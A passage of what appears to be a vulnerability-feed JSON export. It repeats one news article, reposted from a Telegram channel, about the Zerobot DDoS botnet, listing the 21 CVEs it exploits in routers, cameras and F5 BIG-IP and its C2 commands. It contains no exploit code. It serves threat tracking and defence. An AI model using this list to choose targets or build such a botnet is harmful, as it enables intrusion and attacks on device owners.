"1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.060864+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-25075", "author": {"login": "automation"}}, {"uuid": "e7888aad-92c9-43c7-861e-4ef888e453e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.005763+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-30525", "author": {"login": "automation"}}, {"uuid": "2c61d2b8-faca-4eb1-9cdc-1647e73e3756", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.946085+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-01388", "author": {"login": "automation"}}, {"uuid": "2dcbcef8-9a4e-48f6-9fd1-1875f1153530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.896468+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-26186", "author": {"login": "automation"}}, {"uuid": "16bb559b-d4eb-4c47-bd7c-baaab109895c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.843513+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2021-36260", "author": {"login": "automation"}}, {"uuid": "3e021730-3470-4df6-bdc7-1836dd04d0dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.796067+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2021-35395", "author": {"login": "automation"}}, {"uuid": "593a18b0-5a24-478a-9b73-8770c4b20676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.751267+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-26210", "author": {"login": "automation"}}, {"uuid": "67a41db1-adb1-4ad4-9419-24590bbe191c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.704807+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet 